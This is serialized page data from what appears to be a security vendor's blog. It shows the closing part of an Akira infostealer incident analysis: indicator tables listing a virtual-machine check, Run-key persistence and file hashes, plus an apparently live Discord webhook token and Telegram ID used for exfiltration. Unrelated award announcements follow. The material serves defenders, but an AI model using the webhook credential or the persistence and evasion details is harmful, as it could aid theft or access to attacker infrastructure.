signature",[1907,17990,1905,17991,1905,17996,1901],{"style":10224},[1924,17992,17993],{},[1546,17994,17995],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1924,17997,17998],{},"Checks for virtual GPU provider name",[1907,18000,1905,18001,1905,18009,1901],{},[1924,18002,18003,18006,18007,2767],{},[1546,18004,18005],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (value ",[1732,18008,7202],{},[1924,18010,18011],{},"Persistence via Run key (Updater.exe)",[1907,18013,1905,18014,1905,18018,1901],{"style":10224},[1924,18015,18016],{},[1546,18017,7210],{},[1924,18019,18020],{},"Persistence Executable",[1536,18022],{"className":18023},[6385,6386],[810,18025,18027],{"id":18026},"_5-files-hashes","5. Files & Hashes",[806,18029,1531],{},[1898,18031,1901,18033],{"className":18032,"style":10199},[16617],[1919,18034,18035,1901,18046,1901,18058,1901,18070,1901,18083,1901,18095,1901,18107,1901,18119,1901,18131,1901,18144,1901,18156,1901,18169,1901,18181],{},[1907,18036,1905,18037,1905,18039,1905,18043,1901],{},[1911,18038,16961],{"style":17549},[1911,18040,18042],{"style":18041},"text-align: left; width: 62%;","SHA256",[1911,18044,18045],{"style":10368},"Size (bytes)",[1907,18047,1905,18048,1905,18050,1905,18055,1901],{},[1924,18049,7360],{},[1924,18051,18052],{},[1546,18053,18054],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1924,18056,18057],{},"63936274",[1907,18059,1905,18060,1905,18062,1905,18067,1901],{"style":10224},[1924,18061,6149],{},[1924,18063,18064],{},[1546,18065,18066],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1924,18068,18069],{},"162036224",[1907,18071,1905,18072,1905,18075,1905,18080,1901],{},[1924,18073,18074],{},"jscrypter.js",[1924,18076,18077],{},[1546,18078,18079],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1924,18081,18082],{},"1429",[1907,18084,1905,18085,1905,18087,1905,18092,1901],{"style":10224},[1924,18086,8343],{},[1924,18088,18089],{},[1546,18090,18091],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1924,18093,18094],{},"30138",[1907,18096,1905,18097,1905,18099,1905,18104,1901],{},[1924,18098,8340],{},[1924,18100,18101],{},[1546,18102,18103],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1924,18105,18106],{},"7155",[1907,18108,1905,18109,1905,18111,1905,18116,1901],{"style":10224},[1924,18110,8273],{},[1924,18112,18113],{},[1546,18114,18115],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1924,18117,18118],{},"211",[1907,18120,1905,18121,1905,18123,1905,18128,1901],{},[1924,18122,6153],{},[1924,18124,18125],{},[1546,18126,18127],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1924,18129,18130],{},"205210",[1907,18132,1905,18133,1905,18136,1905,18141,1901],{"style":10224},[1924,18134,18135],{},"exodus.asar",[1924,18137,18138],{},[1546,18139,18140],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1924,18142,18143],{},"132486332",[1907,18145,1905,18146,1905,18148,1905,18153,1901],{},[1924,18147,7419],{},[1924,18149,18150],{},[1546,18151,18152],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1924,18154,18155],{},"28454",[1907,18157,1905,18158,1905,18161,1905,18166,1901],{"style":10224},[1924,18159,18160],{},"download.dat",[1924,18162,18163],{},[1546,18164,18165],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1924,18167,18168],{},"21142",[1907,18170,1905,18171,1905,18173,1905,18178,1901],{},[1924,18172,8401],{},[1924,18174,18175],{},[1546,18176,18177],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1924,18179,18180],{},"32375391",[1907,18182,1905,18183,1905,18185,1905,18190,1901],{"style":10224},[1924,18184,6145],{},[1924,18186,18187],{},[1546,18188,18189],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1924,18191,18192],{},"37652937",[1536,18194],{"className":18195},[6385,6386],[810,18197,18199],{"id":18198},"_5-discord-telegram-identifier","5. Discord & Telegram Identifier",[806,18201,1531],{},[1898,18203,1901,18205],{"className":18204,"style":10199},[16617],[1919,18206,18207,1901,18213,1901,18223,1901,18233],{},[1907,18208,1905,18209,1905,18211,1901],{},[1911,18210,17550],{"style":11820},[1911,18212,1917],{"style":10368},[1907,18214,1905,18215,1905,18218,1901],{},[1924,18216,18217],{},"Discord Webhook ID",[1924,18219,18220],{},[1546,18221,18222],{},"1226766972675428372",[1907,18224,1905,18225,1905,18228,1901],{"style":10224},[1924,18226,18227],{},"Discord Webhook Token",[1924,18229,18230],{},[1546,18231,18232],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1907,18234,1905,18235,1905,18238,1901],{},[1924,18236,18237],{},"Telegram ID",[1924,18239,18240],{},[1546,18241,18242],{},"5035121855",[1536,18244],{"className":18245},[6385,6386],[1511,18247,18249],{"id":18248},"_14-reflecting-on-the-akira-stealer-incident-strengthening-your-defense-with-glueckkanja-csoc","14. Reflecting on the Akira Stealer Incident: Strengthening Your Defense with glueckkanja CSOC",[806,18251,816],{},[806,18253,18254],{},"Throughout this blog, we've explored the sophisticated nature of the Akira Infostealer—an advanced cyber threat characterized by targeted credential theft, stealthy data exfiltration, and persistent methods to evade traditional defenses. Understanding how this malware functions, the risks it poses, and the vulnerabilities it exploits is crucial in building a robust cybersecurity strategy.",[806,18256,18257],{},"The Akira Infostealer specifically targets sensitive data such as login credentials, browser sessions, cryptocurrency wallets, messaging services, and personal or organizational files. Its calculated and precise methods demand more than just standard security measures—they require continuous monitoring, in-depth forensic analysis, and proactive threat intelligence.",[806,18259,18260],{},"At glueckkanja CSOC, we leverage our deep technical expertise and advanced analytical capabilities to go beyond simple detection. Our specialized team continually monitors threats in real-time from our dedicated CSOC servers, enabling immediate identification, thorough investigation, and effective neutralization of threats like the Akira Infostealer.",[806,18262,18263],{},"But our work doesn’t stop at incident response. Every detected incident enriches our knowledge base, enhancing our security posture and ensuring we remain several steps ahead of future threats. With glueckkanja CSOC, you gain more than protection—you gain an adaptive security partner committed to your long-term resilience.",[806,18265,18266],{},"Take the next step in securing your organization's digital assets.",[806,18268,18269],{},"Contact glueckkanja's cybersecurity experts today, and let’s proactively secure your future together.",[806,18271,18272],{},[1732,18273,18274],{},"Empower your defense with glueckkanja CSOC.",[1511,18276,18278],{"id":18277},"_15-security-legal-disclaimer-use-of-real-malware-code","15. Security & Legal Disclaimer – Use of Real Malware Code",[806,18280,816],{},[806,18282,18283],{},"This publication contains detailed technical insights, including code excerpts and behavioral breakdowns derived from actual malicious software discovered during incident response and forensic investigations. The purpose of sharing this information is strictly educational, intended to help professional defenders understand, detect, and respond to real-world threats more effectively. We publish this in good faith and with the intent to contribute to the broader security community.",[806,18285,18286],{},"It is important to note that portions of the included code originate from threat actor toolkits and malware samples circulating in the wild. These fragments are not our intellectual property, nor are they to be considered safe, sanitized, or otherwise \"harmless.\" The reproduction or operational use of any such code is explicitly discouraged. Readers must understand that while this material serves a research and awareness function, it inherently carries a risk profile that should not be underestimated.",[806,18288,18289],{},"Only trained professionals operating within legally authorized environments—such as accredited security teams, SOC units, academic researchers, or malware labs—should engage with the techniques or code described. All experimentation must be confined to isolated, non-production systems, and comply with applicable laws, internal policies, and ethical standards.",[806,18291,18292],{},"We do not provide support or validation for any reproduced code or behavior. There is no guarantee of accuracy, relevance, or completeness. Furthermore, we explicitly reject any use of this content for offensive purposes, unauthorized red teaming, commercial malware development, or adversarial testing outside a legally defined scope. Any misuse may lead to legal consequences. glueckkanja AG disclaims all responsibility for direct or indirect damages arising from the use or misinterpretation of this content.",[806,18294,18295],{},"By continuing to read or reference this content, you acknowledge the above and agree not to misuse, replicate, or apply any part of it in unlawful or unethical contexts. When in doubt, consult your legal, compliance, or data protection office before engaging with live code analysis or similar technical material.",[806,18297,18298],{},"This publication is provided \"as is,\" without warranty, support, or liability.",[3606,18300,18301],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: 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.s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":863,"searchDepth":864,"depth":864,"links":18303},[18304,18305,18306,18307,18318,18319,18320,18321,18322,18323,18324,18325,18327,18328,18329,18330,18331,18332,18333,18334,18335,18338,18346,18347,18348,18354,18372,18390,18391,18392,18393,18401,18408,18415,18424,18431,18432,18433,18434,18435,18436,18437,18438,18439,18440,18441,18442,18443,18444,18445,18446],{"id":6276,"depth":864,"text":6277},{"id":6324,"depth":864,"text":6325},{"id":6344,"depth":864,"text":6345},{"id":6398,"depth":864,"text":6399,"children":18308},[18309,18310,18312,18314,18316],{"id":6418,"depth":1810,"text":6419},{"id":6470,"depth":1810,"text":18311},"2.1.2 Updater.exe – Initial Loader",{"id":6575,"depth":1810,"text":18313},"2.1.3 main.exe – Obfuscated NodeJS Payload Container",{"id":6693,"depth":1810,"text":18315},"2.1.4 cmd.exe & PowerShell Relay",{"id":6803,"depth":1810,"text":18317},"2.1.5 python.exe with astor.py",{"id":6937,"depth":864,"text":6938},{"id":7018,"depth":864,"text":7019},{"id":7096,"depth":864,"text":7097},{"id":7175,"depth":864,"text":7176},{"id":7242,"depth":864,"text":7243},{"id":7322,"depth":864,"text":7323},{"id":7431,"depth":864,"text":7432},{"id":7548,"depth":864,"text":18326},"4.2 AMSI Bypass Technique (Class: gofor4msi)",{"id":7732,"depth":864,"text":7733},{"id":7853,"depth":864,"text":7854},{"id":7951,"depth":864,"text":7952},{"id":8047,"depth":864,"text":8048},{"id":8122,"depth":864,"text":8123},{"id":8192,"depth":864,"text":8193},{"id":8252,"depth":864,"text":8253},{"id":8387,"depth":864,"text":8388},{"id":8448,"depth":864,"text":8449,"children":18336},[18337],{"id":8460,"depth":1810,"text":8461},{"id":8809,"depth":864,"text":8810,"children":18339},[18340,18341,18342,18343,18344,18345],{"id":8818,"depth":1810,"text":8819},{"id":8932,"depth":1810,"text":8933},{"id":9129,"depth":1810,"text":9130},{"id":9417,"depth":1810,"text":9418},{"id":9493,"depth":1810,"text":9494},{"id":9653,"depth":1810,"text":9654},{"id":9888,"depth":864,"text":9889},{"id":9934,"depth":864,"text":9935},{"id":9946,"depth":864,"text":9947,"children":18349},[18350,18351,18352,18353],{"id":9952,"depth":1810,"text":9953},{"id":9996,"depth":1810,"text":9997},{"id":10058,"depth":1810,"text":10059},{"id":10093,"depth":1810,"text":10094},{"id":10129,"depth":864,"text":18355,"children":18356},"7.3 Anti-Analysis / Evasion (Class: VmProtect)",[18357,18358,18359,18360,18362,18363,18364,18365,18366,18367,18368,18369,18370,18371],{"id":10138,"depth":1810,"text":10139},{"id":10153,"depth":1810,"text":10154},{"id":10193,"depth":1810,"text":10194},{"id":10283,"depth":1810,"text":18361},"7.3.4 VmProtect Architecture",{"id":10636,"depth":1810,"text":10637},{"id":10702,"depth":1810,"text":10703},{"id":10771,"depth":1810,"text":10772},{"id":10835,"depth":1810,"text":10836},{"id":10903,"depth":1810,"text":10904},{"id":10960,"depth":1810,"text":10961},{"id":11058,"depth":1810,"text":11059},{"id":11128,"depth":1810,"text":11129},{"id":11584,"depth":1810,"text":11585},{"id":11631,"depth":1810,"text":11632},{"id":11645,"depth":864,"text":11646,"children":18373},[18374,18375,18377,18379,18381,18383,18385,18387,18389],{"id":11804,"depth":1810,"text":11805},{"id":11912,"depth":1810,"text":18376},"7.4.2 Password Dumper (Chromium.GetPasswords)",{"id":12034,"depth":1810,"text":18378},"7.4.3 Credit Card Dumper (Chromium.GetCreditCards)",{"id":12116,"depth":1810,"text":18380},"7.4.4 Cookie Dumper (Chromium.GetCookies)",{"id":12196,"depth":1810,"text":18382},"7.4.5 Google Session Dumper (Chromium.dump_google_sessions)",{"id":12323,"depth":1810,"text":18384},"7.4.6 History Dumper (Chromium.GetHistory)",{"id":12393,"depth":1810,"text":18386},"7.4.7 Autofill Dumper (Chromium.GetAutofills)",{"id":12456,"depth":1810,"text":18388},"7.4.8 Firefox Profile Grabber (GeckoDriver & grabFirefoxProfiles)",{"id":12534,"depth":1810,"text":12535},{"id":12573,"depth":864,"text":12574},{"id":12905,"depth":864,"text":12906},{"id":13019,"depth":864,"text":13020},{"id":13347,"depth":864,"text":13348,"children":18394},[18395,18396,18397,18398,18399,18400],{"id":13356,"depth":1810,"text":13357},{"id":13507,"depth":1810,"text":13508},{"id":13613,"depth":1810,"text":13614},{"id":13738,"depth":1810,"text":13739},{"id":13805,"depth":1810,"text":13806},{"id":13930,"depth":1810,"text":13931},{"id":14035,"depth":864,"text":18402,"children":18403},"7.9. Discord and Telegram Token Theft (Class: Discord)",[18404,18405,18406,18407],{"id":14049,"depth":1810,"text":14050},{"id":14180,"depth":1810,"text":14181},{"id":14423,"depth":1810,"text":14424},{"id":14504,"depth":1810,"text":14505},{"id":14574,"depth":864,"text":14575,"children":18409},[18410,18412,18413,18414],{"id":14587,"depth":1810,"text":18411},"7.10.1 Data Class Initialization",{"id":14685,"depth":1810,"text":14686},{"id":14805,"depth":1810,"text":14806},{"id":14870,"depth":1810,"text":14871},{"id":14947,"depth":864,"text":18416,"children":18417},"7.11 File Grabber (Class: Utils.steal_files)",[18418,18419,18420,18421,18422,18423],{"id":14959,"depth":1810,"text":14960},{"id":15030,"depth":1810,"text":15031},{"id":15092,"depth":1810,"text":15093},{"id":15125,"depth":1810,"text":15126},{"id":15154,"depth":1810,"text":15155},{"id":15333,"depth":1810,"text":15334},{"id":15441,"depth":864,"text":15442,"children":18425},[18426,18427,18428,18429,18430],{"id":15450,"depth":1810,"text":15451},{"id":15465,"depth":1810,"text":15466},{"id":15544,"depth":1810,"text":15545},{"id":15693,"depth":1810,"text":15694},{"id":15926,"depth":1810,"text":15927},{"id":16277,"depth":864,"text":16278},{"id":16308,"depth":864,"text":16309},{"id":16432,"depth":864,"text":16433},{"id":16543,"depth":864,"text":16544},{"id":16594,"depth":864,"text":16595},{"id":16771,"depth":864,"text":16772},{"id":16821,"depth":864,"text":16822},{"id":16865,"depth":864,"text":16866},{"id":16905,"depth":864,"text":16906},{"id":16996,"depth":864,"text":16997},{"id":17013,"depth":864,"text":17014},{"id":17536,"depth":864,"text":17537},{"id":17842,"depth":864,"text":17843},{"id":17963,"depth":864,"text":17964},{"id":18026,"depth":864,"text":18027},{"id":18198,"depth":864,"text":18199},{"lang":872,"seoTitle":18448,"titleClass":874,"date":18449,"categories":18450,"blogtitlepic":18451,"socialimg":18452,"customExcerpt":18453,"keywords":18454,"maxContent":508,"asideNav":18455,"footer":18504,"contactInContent":18505,"published":508,"hreflang":18532},"Akira Stealer: Technical Analysis of a Modular Info-Stealing Malware","2025-06-16",[371],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","It started with a single Defender alert in Microsoft 365. No malware, no signatures, no panic. Just a whisper in the noise. What we uncovered was months of credential theft - surgical, silent, and nearly invisible. This is how our CSOC turned a quiet signal into a full-scale response. And gave our client back control before they even knew it was gone.","Microsoft 365 Security, Credential Theft Detection, Incident Response, Microsoft Defender, Managed Security Services, Cloud Security, Threat Detection, Cyber Attack Detection, CSOC, Advanced Threat Protection",{"menuItems":18456},[18457,18459,18462,18465,18468,18471,18474,18477,18480,18483,18486,18489,18492,18495,18498,18501],{"href":18458,"text":6107},"#prologue",{"href":18460,"text":18461},"#_1-initial-event-and-triage-summary","Initial Event and Triage Summary",{"href":18463,"text":18464},"#_2-malware-architecture-and-execution-chain-overview","Malware Architecture and Execution Chain Overview",{"href":18466,"text":18467},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":18469,"text":18470},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":18472,"text":18473},"#_5-deep-dive-mainexe-electron-based-malware-loader","Deep Dive: main.exe",{"href":18475,"text":18476},"#_6-deep-dive-inputjs-the-encrypted-javascript-payload-loader","Deep Dive: input.js",{"href":18478,"text":18479},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":18481,"text":18482},"#_8-circular-execution-chain-a-self-healing-loop","Circular Execution Chain",{"href":18484,"text":18485},"#_9-blockchain-tracking-and-analysis","Blockchain Tracking and Analysis",{"href":18487,"text":18488},"#_10-inside-the-akira-ecosystem-commercialized-cybercrime-infrastructure","Inside the Akira Ecosystem",{"href":18490,"text":18491},"#_11-akira-stealer-quickcheck-affected-files","Akira Stealer QuickCheck affected files",{"href":18493,"text":18494},"#_12-beyond-response-how-glueckkanja-csoc-turns-incidents-into-insights","How glueckkanja CSOC Turns Incidents into Insights",{"href":18496,"text":18497},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":18499,"text":18500},"#_14-reflecting-on-the-akira-stealer-incident-strengthening-your-defense-with-glueckkanja-csoc","Reflecting on the Akira Stealer Incident",{"href":18502,"text":18503},"#_15-security-legal-disclaimer-use-of-real-malware-code","Security & Legal Disclaimer",{"noMargin":508},{"quote":749,"infos":18506},{"bgColor":18507,"color":885,"boxBgColor":18508,"boxColor":18509,"headline":18510,"subline":18511,"level":810,"textStyling":888,"flush":889,"person":18512,"form":18519},"var(--color-gk-violet)","var(--color-gk-yellow)","var(--color-copy)","Get in touch now","As a leading Microsoft Security MSSP, we protect companies from cyber threats every day. Let´s talk and strengthen your cyber defenses together!",{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":18516},"/people/people-pam-team.png","Project & Account Management","We look forward to hearing from you!",[18517,18518],{"text":762,"href":899,"details":6062,"icon":901},{"text":763,"href":903,"icon":904},{"ctaText":18520,"cta":18521,"method":870,"action":909,"fields":18522},"Send",{"skin":908},[18523,18524,18525,18526,18527,18528,18530,18531],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":18529},"Form: Blog MSSP 2025 | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},[18533,18535],{"lang":4,"href":18534},"/de/posts/2025-06-16-quiet-breach",{"lang":956,"href":18536},"/es/posts/2025-06-16-quiet-breach","/posts/2025-06-16-quiet-breach",{"title":6100,"description":816},"posts/2025-06-16-quiet-breach",[18541,3707,3711,18542],"Microsoft 365 Defender","Incident Deep Dive","MWT9eYEloA1OjnOyZsp4rhi50thMMcIDyOroprDwUdg",{"id":18545,"title":18546,"author":18547,"body":18548,"cta":764,"description":18552,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":18643,"moment":18645,"navigation":508,"path":18700,"seo":18701,"stem":18702,"tags":18703,"webcast":749,"__hash__":18705},"content_en/posts/2025-05-08-isg-germany-2025.md","Four in a row. glueckkanja once again a Leader in ISG",[801],{"type":803,"value":18549,"toc":18636},[18550,18553,18556,18560,18562,18565,18569,18571,18577,18582,18586,18588,18594,18599,18603,18605,18611,18616,18620,18622,18628,18633],[806,18551,18552],{},"They say once is nothing. Twice is nice. But with a third time, you’re officially on the map. By that logic, we’ve now become a permanent fixture in the ISG Provider Lens™ study: After being named a Leader in 2021, 2023, and 2024, glueckkanja once again earns the title in 2025 – in both Microsoft 365 Services and Managed Azure.",[806,18554,18555],{},"As a long-standing Microsoft partner, we help companies around the globe move to the cloud – strategically, securely, and always with a clear sense of what’s feasible. In doing so, we contribute to global IT security and help drive innovation across a wide range of industries. We’re proud that the ISG study continues to recognize these efforts.",[810,18557,18559],{"id":18558},"isg-provider-lens-study-2025","ISG Provider Lens™ Study 2025",[806,18561,816],{},[806,18563,18564],{},"With its \"Microsoft Cloud Ecosystem\" study, ISG offers valuable insights through its Provider Lens™ series to help organizations align their strategies – from positioning and partnerships to go-to-market approaches. Providers are evaluated based on their portfolio and competitive strength in the Microsoft Cloud ecosystem, and then mapped across four quadrants: Product Challenger, Contender, Market Challenger, and Leader. But enough about the framework – let’s talk about how we performed.",[810,18566,18568],{"id":18567},"glueckkanja-is-leader-microsoft-365-services-midmarket","glueckkanja is Leader Microsoft 365 Services (Midmarket)",[806,18570,816],{},[806,18572,18573],{},[1449,18574],{"alt":18575,"src":18576},"Microsoft 365 Services - Midmarket","https://res.cloudinary.com/c4a8/image/upload/blog/pics/2025-isg-quadrant-m365-services-midmarket.png",[806,18578,18579],{},[4653,18580,18581],{},"\"glueckkanja is driving cloud transformation, efficiently integrating Microsoft 365 and Windows 365, and leveraging automation to streamline IT processes and ensure security!\"",[810,18583,18585],{"id":18584},"glueckkanja-is-leader-microsoft-365-services-large-accounts","glueckkanja is Leader Microsoft 365 Services (Large Accounts)",[806,18587,816],{},[806,18589,18590],{},[1449,18591],{"alt":18592,"src":18593},"Microsoft 365 Services - Large Enterprises","https://res.cloudinary.com/c4a8/image/upload/blog/pics/2025-isg-quadrant-m365-services-large-accounts.png",[806,18595,18596],{},[4653,18597,18598],{},"\"glueckkanja optimizes complex IT environments, seamlessly integrates Microsoft 365 and Windows 365, and uses automation for maximum scalability, security, and efficiency.\"",[810,18600,18602],{"id":18601},"glueckkanja-is-leader-managed-services-for-azure-midmarket","glueckkanja is Leader Managed Services for Azure (Midmarket)",[806,18604,816],{},[806,18606,18607],{},[1449,18608],{"alt":18609,"src":18610},"Managed Services for Azure - Midmarket","https://res.cloudinary.com/c4a8/image/upload/blog/pics/2025-isg-quadrant-managed-services-for-azure-midmarket.png",[806,18612,18613],{},[4653,18614,18615],{},"\"glueckkanja delivers secure, scalable cloud infrastructures that reduce risk and increase efficiency. Thanks to automation and forward-thinking governance, businesses gain stability, control, and future-readiness.\"",[810,18617,18619],{"id":18618},"glueckkanja-is-leader-managed-services-for-azure-large-accounts","glueckkanja is Leader Managed Services for Azure (Large Accounts)",[806,18621,816],{},[806,18623,18624],{},[1449,18625],{"alt":18626,"src":18627},"Managed Services for Azure - Large Enterprises","https://res.cloudinary.com/c4a8/image/upload/blog/pics/2025-isg-quadrant-managed-services-for-azure-large-accounts.png",[806,18629,18630],{},[4653,18631,18632],{},"\"glueckkanja is shaping the future of the cloud with automation, governance, and sustainability. Infrastructure as Code and iterative optimization create resilient, scalable, and cost-efficient solutions.\"",[806,18634,18635],{},"At this point, we’d just like to say a big thank you for all the recognition. If you're curious to dive deeper into the study results, just let us know – we’ll be happy to send you the full ISG summary.",{"title":863,"searchDepth":864,"depth":864,"links":18637},[18638,18639,18640,18641,18642],{"id":18558,"depth":864,"text":18559},{"id":18567,"depth":864,"text":18568},{"id":18584,"depth":864,"text":18585},{"id":18601,"depth":864,"text":18602},{"id":18618,"depth":864,"text":18619},{"lang":872,"seoTitle":18644,"titleClass":874,"date":18645,"categories":18646,"blogtitlepic":18647,"socialimg":18648,"customExcerpt":18649,"keywords":18650,"hreflang":18651,"footer":18656,"contactInContent":18657,"textImageTeaser":18688},"ISG 2025: glueckkanja again named Leader for Managed Services for Azure and Microsoft 365 Services","2025-05-08",[877],"head-isg-2025.png","/blog/heads/head-isg-2025.png","The ISG Provider Lens™ 2025 study once again recognizes glueckkanja as a Leader in both Managed Services for Azure and Microsoft 365 Services. Awarded in both segments – Midmarket and Large Accounts – this confirms what has become increasingly clear over the past years: When it comes to standardization, automation, and scale for Microsoft environments, glueckkanja is the go-to partner.","Microsoft partner Germany, Managed Services Azure Germany, Microsoft 365 Services Germany, IT service provider Germany, Cloud services Germany, ISG Provider Lens Germany, glueckkanja Germany, Microsoft cloud Germany, ISG Leader 2025, IT security Germany, digital transformation Germany, Azure services Germany, Microsoft 365 consulting Germany, glueckkanja, glueckkanja Microsoft services, ISG award Microsoft",[18652,18654],{"lang":4,"href":18653},"/blog/corporate/2025/05/isg-germany-2025",{"lang":956,"href":18655},"/blog/corporate/2025/05/isg-germany-2025-es",{"noMargin":508},{"quote":508,"infos":18658},{"bgColor":884,"headline":18659,"subline":18660,"level":810,"textStyling":888,"flush":889,"person":18661,"form":18671},"Request the study","Want to take a deeper look at the study results? Just reach out – we’ll send you the full ISG summary, including our skills and strengths.",{"image":18662,"cloudinary":508,"alt":1107,"name":1107,"quotee":1107,"quoteeTitle":18663,"quote":18664,"detailsHeader":18665,"details":18666},"/people/people-michael-breither.jpg","COO","Being recognized by ISG once again validates our approach: standardized, scalable services for Microsoft platforms – with real added value for our customers.","We look forward\u003Cbr />to hearing from you!",[18667,18668],{"text":762,"href":899,"details":900,"icon":901},{"text":18669,"href":18670,"icon":904},"sales@glueckkanja.com","mailto:sales@glueckkanja.com",{"ctaText":906,"cta":18672,"method":870,"action":909,"fields":18673},{"skin":908},[18674,18675,18676,18677,18678,18679,18681,18682,18684,18686,18687],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":928,"type":929,"id":930,"required":749,"requiredMsg":931},{"label":18680,"type":934,"id":935,"required":508,"requiredMsg":936},"Your data will be stored and used to respond to your request. For more information on how we handle your data, please see our \u003Ca href=\"/en/privacy\">Privacy Policy\u003C/a>.",{"type":912,"id":938,"value":877},{"type":912,"id":940,"value":18683},"DE",{"type":912,"id":943,"value":18685},"Form: Blog ISG Germany | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"image":18689,"cloudinary":508,"alt":18690,"bgColor":18691,"offset":749,"list":18692,"left":749,"float":749,"firstColWidth":2131,"secondColWidth":2143,"copyClasses":18696,"headline":18697,"subline":18698,"spacing":18699},"/logos/isg-provider-lens-rising-star-ch.png","ISG Provider Lens","#fcd116",[18693],{"ctaText":18694,"ctaHref":18695,"ctaType":3865},"More info","/en/blog/corporate/2025/05/isg-switzerland-2025","richtext","\u003Cp>By the way, we’re a Rising Star in Switzerland!\u003Cbr />Merci, ISG!\u003C/p>","\u003Cp>Get the full scoop on our ISG results in Switzerland.\u003C/p>","space-top-2 space-bottom-2","/posts/2025-05-08-isg-germany-2025",{"title":18546,"description":18552},"posts/2025-05-08-isg-germany-2025",[963,18704],"ISG","KkgZ8uAE5rYbhbyY7I9yeUCFKJ4K9zcgqDjap8YuQL8",{"id":18707,"title":18708,"author":18709,"body":18710,"cta":764,"description":18714,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":18767,"moment":18645,"navigation":508,"path":18813,"seo":18814,"stem":18815,"tags":18816,"webcast":749,"__hash__":18817},"content_en/posts/2025-05-08-isg-switzerland-2025.md","Switzerland steps up. glueckkanja becomes ISG Rising Star",[801],{"type":803,"value":18711,"toc":18762},[18712,18715,18718,18720,18722,18725,18729,18731,18737,18742,18746,18748,18754,18759],[806,18713,18714],{},"Bern is known for its stunning old town, the Zytglogge, the Federal Palace – and of course, the rose garden. Now there’s a new highlight: glueckkanja Switzerland has been named a \"Rising Star\" in the latest ISG Provider Lens™ study – recognized for our Microsoft 365 Services and Managed Services for Azure.",[806,18716,18717],{},"We’ve had boots on the ground in Bern since 2024. From here, as an experienced Microsoft partner, we help Swiss companies move to the cloud – strategically, securely, and always with a realistic view of what’s doable. In just twelve months, we’ve made a meaningful contribution to IT security in the Swiss business landscape and driven innovation across a variety of industries. Which makes it all the more rewarding to see our efforts now recognized by the ISG Provider Lens™.",[810,18719,18559],{"id":18558},[806,18721,816],{},[806,18723,18724],{},"The \"Microsoft Cloud Ecosystem\" study is part of ISG’s Provider Lens™ series, offering deep insights to help companies refine their strategic direction – from positioning and partnerships to go-to-market strategies. Providers are assessed based on their product portfolio and competitive strength in the Microsoft cloud ecosystem, and positioned in four quadrants: Product Challenger, Contender, Market Challenger, and Leader. That’s the theory – now let’s look at our results!",[810,18726,18728],{"id":18727},"glueckkanja-is-rising-star-microsoft-365-services","glueckkanja is Rising Star Microsoft 365 Services",[806,18730,816],{},[806,18732,18733],{},[1449,18734],{"alt":18735,"src":18736},"Microsoft 365 Services","https://res.cloudinary.com/c4a8/image/upload/blog/pics/Microsoft_365_Services.png",[806,18738,18739],{},[4653,18740,18741],{},"\"glueckkanja supports Swiss companies in secure cloud transformation, integrates Microsoft 365 and Windows 365, and streamlines IT processes through automation and scalability.\"",[810,18743,18745],{"id":18744},"glueckkanja-is-rising-star-managed-services-for-azure","glueckkanja is Rising Star Managed Services for Azure",[806,18747,816],{},[806,18749,18750],{},[1449,18751],{"alt":18752,"src":18753},"Managed Services for Azure","https://res.cloudinary.com/c4a8/image/upload/v1746721421/blog/pics/Managed_Services_for_Azure.png",[806,18755,18756],{},[4653,18757,18758],{},"\"glueckkanja is a Rising Star in Switzerland’s market for Azure Managed Services. With strong local presence, proven performance, and technological 